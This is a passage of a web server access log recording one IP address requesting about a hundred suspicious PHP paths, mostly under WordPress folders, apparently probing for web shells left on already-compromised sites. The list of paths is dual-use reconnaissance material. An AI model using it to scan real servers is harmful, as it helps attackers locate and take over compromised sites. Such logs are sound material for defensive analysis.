AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:43 +0300] "GET /css/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.53.96 - - [02/Feb/2026:16:01:43 +0300] "GET /wp-content/plugins/pwnd/sst.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:43 +0300] "GET /wp-includes/edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.53.96 - - [02/Feb/2026:16:01:43 +0300] "GET /wsax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:44 +0300] "GET /bless.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:44 +0300] "GET /wp-content/uploads/system_cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.53.96 - - [02/Feb/2026:16:01:44 +0300] "GET /templates/beez3/dbcthbohhr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:01:44 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:44 +0300] "GET /wp-content/themes/tflow/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.53.96 - - [02/Feb/2026:16:01:44 +0300] "GET /wp-includes/css/dist/footer-default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:44 +0300] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:45 +0300] "GET /wp-includes/widgets/class-wp-widget-meta-request.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:45 +0300] "GET /wp-content/plugins/pwnd/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:01:45 +0300] "GET /wp-includes/css/dist/edit-widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:45 +0300] "GET /wp-content/plugins/ubh/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:45 +0300] "GET /.well-known/pki-validation/webdb.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:45 +0300] "GET /wp-includes/l10n/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:45 +0300] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.53.96 - - [02/Feb/2026:16:01:45 +0300] "GET /wp-admin/js/widgets/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:46 +0300] "GET /uploads/xsec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:46 +0300] "GET /images/Marvins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:46 +0300] "GET /wp-content/plugins/pwnd-1/kurd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:46 +0300] "GET /wp-content/themes/tflow/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:46 +0300] "GET /wp-content/languages/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:46 +0300] "GET /wp-content/uploads/fileman.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:46 +0300] "GET /wp-includes/widgets/wp-ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:47 +0300] "GET /wp-includes/IXR/xsec1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:47 +0300] "GET /admin.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:47 +0300] "GET /wp-admin/css/colors/hong1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:47 +0300] "GET /wp-admin/maint/byps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:01:47 +0300] "GET /wp-includes/images/crystal/sad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:47 +0300] "GET /wp-includes/assets/script-loader-packages.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.53.96 - - [02/Feb/2026:16:01:47 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/content-type.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:01:47 +0300] "GET /wp-admin/network/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:01:48 +0300] "GET /wp-includes/class-phpmailer-beta.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:48 +0300] "GET /wp-includes/ms-file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:48 +0300] "GET /.well-known/acme-challenge/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:48 +0300] "GET /wp-includes/widgets/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:48 +0300] "GET /images/news_event/1.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.53.96 - - [02/Feb/2026:16:01:48 +0300] "GET /chosen.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:48 +0300] "GET /bs1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:48 +0300] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:49 +0300] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.5.53.96 - - [02/Feb/2026:16:01:49 +0300] "GET /page.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.5.53.96 - - [02/Feb/2026:16:01:49 +0300] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:49 +0300] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:49 +0300] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:49 +0300] "GET /wp-content/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:01:49 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:50 +0300] "GET /assets/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:50 +0300] "GET /wp-includes/SimplePie/XML/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:50 +0300] "GET /wp-includes/pomo/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.53.96 - - [02/Feb/2026:16:01:51 +0300] "GET /wp-content/1.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:51 +0300] "GET /wp-admin/css/colors/blue/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:51 +0300] "GET /wp-includes/pomo/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.53.96 - - [02/Feb/2026:16:01:51 +0300] "GET /wp-includes/assets/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:51 +0300] "GET /.well-known/acme-challenge/gecko-old.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:51 +0300] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.53.96 - - [02/Feb/2026:16:01:51 +0300] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:52 +0300] "GET /wp-includes/widgets/class-wp-nav-widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:52 +0300] "GET /x/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:52 +0300] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.53.96 - - [02/Feb/2026:16:01:52 +0300] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.5.53.96 - - [02/Feb/2026:16:01:52 +0300] "GET /wp-admin/css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:52 +0300] "GET /wp-includes/sitemaps/providers/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.5.53.96 - - [02/Feb/2026:16:01:52 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:52 +0300] "GET /wp-includes/rest-api/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:53 +0300] "GET /wp-includes/fonts/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:53 +0300] "GET /shop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.53.96 - - [02/Feb/2026:16:01:53 +0300] "GET /wp-content/plugins/pwnd-1/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.5.53.96 - - [02/Feb/2026:16:01:53 +0300] "GET /wp-admin/js/widgets/setting.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:53 +0300] "GET /wp-includes/images/smilies/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:53 +0300] "GET /wp-admin/css/colors/light/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:01:53 +0300] "GET /wp-admin/user/header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:01:54 +0300] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.5.53.96 - - [02/Feb/2026:16:01:54 +0300] "GET /wp-api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:54 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:54 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:54 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:54 +0300] "GET /wp-includes/class-wp-customize-manager-interpreter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.53.96 - - [02/Feb/2026:16:01:55 +0300] "GET /wp-includes/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:55 +0300] "GET /images/fm.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.5.53.96 - - [02/Feb/2026:16:01:55 +0300] "GET /wp-includes/count.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.5.53.96 - - [02/Feb/2026:16:01:55 +0300] "GET /wp-error_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.53.96 - - [02/Feb/2026:16:01:55 +0300] "GET /assets/class_update_plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:55 +0300] "GET /wp-admin/network/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:55 +0300] "GET /templates/beez5/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:56 +0300] "GET /wp-admin/network/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:01:56 +0300] "GET /js/firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:01:56 +0300] "GET /wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:56 +0300] "GET /assets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:56 +0300] "GET /wp-admin/js/file/incpb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:56 +0300] "GET /images/stories/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:56 +0300] "GET /wp-includes/theme-compat/footer-embed-function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:56 +0300] "GET /wp-includes/firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.5.53.96 - - [02/Feb/2026:16:01:56 +0300] "GET /home/O-Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:57 +0300] "GET /wp-includes/l10n/class-wp-translation-file-mo-event.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:57 +0300] "GET /wp-includes/vars-soap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:57 +0300] "GET /wp-content/themes/twentytwentytwo/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.5.53.96 - - [02/Feb/2026:16:01:57 +0300] "GET /style.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:57 +0300] "GET /files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.53.96 - - [02/Feb/2026:16:01:57 +0300] "GET /wp-content/themes/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:57 +0300] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:01:57 +0300] "GET /saka.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:01:58 +0300] "GET /wp-includes/id3/wp-work.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:58 +0300] "GET /wp-content/plugins/WordPressCore/gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:01:58 +0300] "GET /baxa1.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:58 +0300] "GET /wp-includes/class-wp-taxonomy.editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:58 +0300] "GET /wp-content/plugins/pwnd/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:58 +0300] "GET /wp-includes/js/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:58 +0300] "GET /blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:59 +0300] "GET /about/install.php 